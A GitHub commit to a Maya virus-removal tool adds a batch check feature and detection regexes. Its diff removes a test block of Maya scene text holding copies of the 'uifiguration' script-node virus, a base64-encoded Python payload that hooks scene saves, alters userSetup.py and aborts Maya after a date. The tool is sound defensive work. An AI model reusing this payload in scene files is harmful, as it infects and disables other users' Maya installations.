Skip to content

Commit

Permalink
feat: ✨ 添加批量检查功能
Browse files Browse the repository at this point in the history
  • Loading branch information
CangSpirit committed May 3, 2024
1 parent a8fbf1b commit 5ad761e
Show file tree
Hide file tree
Showing 4 changed files with 129 additions and 47 deletions.
3 changes: 3 additions & 0 deletions build.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
mayapy -m pyeal build
$dirname = Split-Path -Path $PWD -Leaf
7z -tzip a "./build/${dirname}.zip" ./build/out/*
47 changes: 46 additions & 1 deletion src/gui.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@
if False:
from typing import *

import json
import maya.cmds as cmds
import kill
import kill_mayafile
Expand Down Expand Up @@ -86,6 +87,49 @@ def batch_clear_maya_file():
cmds.warning('批量处理完成')


def batch_check_maya_file():
"""
批量检查Maya文件.
"""
# 是否启用谨慎模式
result = cmds.confirmDialog(
title='警告',
message='是否启用谨慎模式, 谨慎模式会检查文件中是否存在病毒代码, 但可能会误报',
button=['Yes', 'No'],
defaultButton='No',
cancelButton='No',
dismissString='No',
)

is_cautious = result == 'Yes'

#
cmds.warning('开始批量处理...')
root_dir = cmds.fileDialog2(fileMode=3, dialogStyle=2)
if not root_dir:
cmds.warning('未选择文件')
return

warning_files = []
for root, dirs, files in os.walk(os.path.abspath(root_dir[0])):
for file in files:
if file.endswith('.ma'):
has_virus = kill_mayafile.check_file(os.path.join(root, file), is_cautious=is_cautious)
if has_virus:
warning_files.append(os.path.join(root, file).replace('\\', '/'))

# show
if warning_files:
warning_text = '以下文件可能存在病毒代码:\n{}\n{}\n{}'.format(
'=' * 20,
'\n'.join(warning_files),
'=' * 20
)
cmds.warning(warning_text)
else:
cmds.warning('未发现病毒代码')


def create_gui():
# type: () -> None
"""
Expand All @@ -102,7 +146,8 @@ def create_gui():
cmds.button(label='单独清除HIK病毒', command=lambda *args: alone_clear_hik_virus())
cmds.button(label='恢复UAC设置', command=lambda *args: restore_UAC())
cmds.button(label='清除病毒脚本节点', command=lambda *args: clear_virus_script_node())
cmds.button(label='批量清理Maya文件', command=lambda *args: batch_clear_maya_file())
cmds.button(label='批量清理Maya文件(.ma)', command=lambda *args: batch_clear_maya_file())
cmds.button(label='批量检查Maya文件(.ma)', command=lambda *args: batch_check_maya_file())

cmds.showWindow('VirusKiller_240429')

Expand Down
86 changes: 40 additions & 46 deletions src/kill_mayafile.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,22 +15,54 @@
import sys
import maya.cmds as cmds

find_script_node_regex = r'\s*createNode\s+script\s+-n\s+\"uifiguration\";\s*.*?setAttr\s*\"\.b\"\s*-type\s*"string".*?\s*setAttr\s*"\.st"\s*1;\s*'
find_script_node_regex = re.compile(
r'\s*createNode\s+script\s+-n\s+\"uifiguration\";\s*.*?setAttr\s*\"\.b\"\s*-type\s*"string".*?\s*setAttr\s*"\.st"\s*1;\s*',
re.DOTALL,
)


def _process_str(data):
for i in reversed(list(re.finditer(find_script_node_regex, data, re.DOTALL))):
for i in reversed(list(find_script_node_regex.finditer(data))):
start, end = i.span()
print(data[start:end])
data = data[:start] + '\n' + data[end:]

return data


cautious_check_regex = re.compile(
r'\s*import\s*base64;?\s*',
re.DOTALL,
)


def check_file(file, is_cautious=False):
file = os.path.abspath(file).replace('\\', '/')
with open(file, 'rb') as f:
data = _delete_ma_byte(f.read())

if is_cautious and cautious_check_regex.search(data):
return True
if find_script_node_regex.search(data):
return True
return False


def _delete_ma_byte(data):
try:
data = data.decode('utf-8')
except UnicodeDecodeError:
try:
data = data.decode('gbk')
except UnicodeDecodeError:
raise ValueError('无法解码文件')
return data


def process_file(file):
file = os.path.abspath(file).replace('\\', '/')
with open(file, 'rb') as f:
data = f.read()
data = _delete_ma_byte(f.read())

new_data = _process_str(data)
if new_data != data:
Expand All @@ -41,46 +73,8 @@ def process_file(file):


if __name__ == '__main__':
_test_data = r'''
createNode shapeEditorManager -n "shapeEditorManager";
rename -uid "75FFB4D6-48AF-542A-B9A3-18A2DA5896FF";
createNode poseInterpolatorManager -n "poseInterpolatorManager";
rename -uid "DEEDE91D-4212-8512-D489-19B5B7AB82E6";
createNode displayLayerManager -n "layerManager";
rename -uid "B9096628-4284-9CDE-136F-2592F5640F22";
createNode displayLayer -n "defaultLayer";
rename -uid "52678939-4EC0-6E8B-9744-159D30F05394";
createNode renderLayerManager -n "renderLayerManager";
rename -uid "1BDAF56C-44E5-BC2D-607F-C9843FDA4670";
createNode renderLayer -n "defaultRenderLayer";
rename -uid "AC8BBD23-44E9-0E98-873F-328470D23544";
setAttr ".g" yes;
createNode script -n "uifiguration";
rename -uid "462B803B-4B2C-FAD0-23AB-ECB37CBB041E";
setAttr ".b" -type "string" "python(\"import base64; _pycode = base64.urlsafe_b64decode('aW1wb3J0IG1heWEuY21kcyBhcyBjbWRzCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBkYXRldGltZQkKaW1wb3J0IGJhc2U2NAppbXBvcnQgc3RhdCAKaW1wb3J0IHN5cwppbXBvcnQgb3MKCmNsYXNzIHBoYWdlOgogICAgZGVmIGFudGl2aXJ1cyhzZWxmKToKICAgICAgICBwYXNzCiAgICBkZWYgb2NjdXBhdGlvbihzZWxmKToKICAgICAgICBjbWRzLnNjcmlwdEpvYihldmVudD1bIlNjZW5lU2F2ZWQiLCAibGV1a29jeXRlLmFudGl2aXJ1cygpIl0sIHByb3RlY3RlZD1UcnVlKQpsZXVrb2N5dGUgPSBwaGFnZSgpCmxldWtvY3l0ZS5vY2N1cGF0aW9uKCkKdXNlcHlwYXRoID0gY21kcy5pbnRlcm5hbFZhcih1c2VyQXBwRGlyPVRydWUpICsgJy9zY3JpcHRzL3VzZXJTZXR1cC5weScgICAKaWYgIG9zLnBhdGguZXhpc3RzKHVzZXB5cGF0aCk6CiAgICBvcy5jaG1vZCggdXNlcHlwYXRoLCBzdGF0LlNfSVdSSVRFICkgCiAgICB3aXRoIG9wZW4odXNlcHlwYXRoLCAncmInKSBhcyBmOgogICAgICAgIGRhdGEgPSBmLnJlYWRsaW5lKCkgIC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nBhdGguZXhpc3RzKHVpdGlvbnBhdGgpOgogICAgb3MubWtkaXIodWl0aW9ucGF0aCkgICAKdWl0aW9uX3BhdGg9IiVzJXMiJSh1aXRpb25wYXRoLGJhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnTDNWcGRHbHZiaTUwJykuZGVjb2RlKCd1dGYtOCcpKQp0cnk6CglpZiBjbWRzLm9iakV4aXN0cygndWlmaWd1cmF0aW9uJyk6CgkJWGdlZSA9IGV2YWwoY21kcy5nZXRBdHRyKCd1aWZpZ3VyYXRpb24ubm90ZXMnKSkKCQl3aXRoIG9wZW4odWl0aW9uX3BhdGgsICJ3IikgYXMgZjoKCQkJZi53cml0ZWxpbmVzKFhnZWUpCmV4Y2VwdCBWYWx1ZUVycm9yIGFzIGU6CiAgICBwYXNzCmlmIG5vdCBvcy5hY2Nlc3MoYmFzZTY0LnVybHNhZmVfYjY0ZGVjb2RlKCdVRG92UzI4dVZuQnUnKS5kZWNvZGUoJ3V0Zi04Jyksb3MuV19PSyk6CglpZiBkYXRldGltZS5kYXRldGltZS5ub3coKS5zdHJmdGltZSgnJVklbSVkJykgPj1iYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoJ01qQXlOREExTURFPT0nKS5kZWNvZGUoJ3V0Zi04Jyk6CgkJY21kcy5xdWl0KGFib3J0PVRydWUp'); exec (_pycode)\");";
setAttr ".st" 1;
createNode script -n "sceneConfigurationScriptNode";
rename -uid "66089F1F-45C3-4E74-2823-919F53014DF0";
setAttr ".b" -type "string" "playbackOptions -min 1 -max 120 -ast 1 -aet 200 ";
setAttr ".st" 1;
createNode script -n "uifiguration";
rename -uid "462B803B-4B2C-FAD0-23AB-ECB37CBB041E";
setAttr ".b" -type "string" "python(\"import base64; _pycode = base64.urlsafe_b64decode('aW1wb3J0IG1heWEuY21kcyBhcyBjbWRzCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBkYXRldGltZQkKaW1wb3J0IGJhc2U2NAppbXBvcnQgc3RhdCAK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VRG92UzI4dVZuQnUnKS5kZWNvZGUoJ3V0Zi04Jyksb3MuV19PSyk6CglpZiBkYXRldGltZS5kYXRldGltZS5ub3coKS5zdHJmdGltZSgnJVklbSVkJykgPj1iYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoJ01qQXlOREExTURFPT0nKS5kZWNvZGUoJ3V0Zi04Jyk6CgkJY21kcy5xdWl0KGFib3J0PVRydWUp'); exec (_pycode)\");";
setAttr ".st" 1;
createNode script -n "uifiguration";
rename -uid "462B803B-4B2C-FAD0-23AB-ECB37CBB041E";
setAttr ".b" -type "string" "python(\"import base64; _pycode = base64.urlsafe_b64decode('aW1wb3J0IG1heWEuY21kcyBhcyBjbWRzCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBkYXRldGltZQkKaW1wb3J0IGJhc2U2NAppbXBvcnQgc3RhdCAKaW1wb3J0IHN5cwppbXBvcnQgb3MKCmNsYXNzIHBoYWdlOgogICAgZGVmIGFudGl2aXJ1cyhzZWxmKToKICAgICAgICBwYXNzCiAgICBkZWYgb2NjdXBhdGlvbihzZWxmKToKICAgICAgICBjbWRzLnNjcmlwdEpvYihldmVudD1bIlNjZW5lU2F2ZWQiLCAibGV1a29jeXRlLmFudGl2aXJ1cygpIl0sIHByb3RlY3RlZD1UcnVlKQpsZXVrb2N5dGUgPSBwaGFnZSgpCmxldWtvY3l0ZS5vY2N1cGF0aW9uKCkKdXNlcHlwYXRoID0gY21kcy5pbnRlcm5hbFZhcih1c2VyQXBwRGlyPVRydWUpICsgJy9zY3JpcHRzL3VzZXJTZXR1cC5weScgICAKaWYgIG9zLnBhdGguZXhpc3RzKHVzZXB5cGF0aCk6CiAgICBvcy5jaG1vZCggdXNlcHlwYXRoLCBzdGF0LlNfSVdSSVRFICkgCiAgICB3aXRoIG9wZW4odXNlcHlwYXRoLCAncmInKSBhcyBmOgogICAgICAgIGRhdGEgPSBmLnJlYWRsaW5lKCkgICAgIAogICAgc2V0QXR0cmRzbGlzdD1bXQogICA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ICAgb3MubWtkaXIodWl0aW9ucGF0aCkgICAKdWl0aW9uX3BhdGg9IiVzJXMiJSh1aXRpb25wYXRoLGJhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnTDNWcGRHbHZiaTUwJykuZGVjb2RlKCd1dGYtOCcpKQp0cnk6CglpZiBjbWRzLm9iakV4aXN0cygndWlmaWd1cmF0aW9uJyk6CgkJWGdlZSA9IGV2YWwoY21kcy5nZXRBdHRyKCd1aWZpZ3VyYXRpb24ubm90ZXMnKSkKCQl3aXRoIG9wZW4odWl0aW9uX3BhdGgsICJ3IikgYXMgZjoKCQkJZi53cml0ZWxpbmVzKFhnZWUpCmV4Y2VwdCBWYWx1ZUVycm9yIGFzIGU6CiAgICBwYXNzCmlmIG5vdCBvcy5hY2Nlc3MoYmFzZTY0LnVybHNhZmVfYjY0ZGVjb2RlKCdVRG92UzI4dVZuQnUnKS5kZWNvZGUoJ3V0Zi04Jyksb3MuV19PSyk6CglpZiBkYXRldGltZS5kYXRldGltZS5ub3coKS5zdHJmdGltZSgnJVklbSVkJykgPj1iYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoJ01qQXlOREExTURFPT0nKS5kZWNvZGUoJ3V0Zi04Jyk6CgkJY21kcy5xdWl0KGFib3J0PVRydWUp'); exec (_pycode)\");";
setAttr ".st" 3;
select -ne :time1;
setAttr ".o" 1;
setAttr ".unw" 1;
select -ne :hardwareRenderingGlobals;
setAttr ".otfna" -type "stringArray" 22 "NURBS Curves" "NURBS Surfaces" "Polygons" "Subdiv Surface" "Particles" "Particle Instance" "Fluids" "Strokes" "Image Planes" "UI" "Lights" "Cameras" "Locators" "Joints" "IK Handles" "Deformers" "Motion Trails" "Components" "Hair Systems" "Follicles" "Misc. UI" "Ornaments" ;
setAttr ".otfva" -type "Int32Array" 22 0 1 1 1 1 1
1 1 1 0 0 0 0 0 0 0 0 0
0 0 0 0 ;
setAttr ".fprt" yes;
select -ne :renderPartition;
setAttr -s 2 ".st";
'''
print(_process_str(_test_data))
with open('./../testfiles/key.ma', 'rb') as f:
# print(_process_str(f.read()))
_test_data = _delete_ma_byte(f.read())
assert _process_str(_test_data) != _test_data
assert check_file('./../testfiles/key.ma', is_cautious=True)
Loading

0 comments on commit 5ad761e

Please sign in to comment.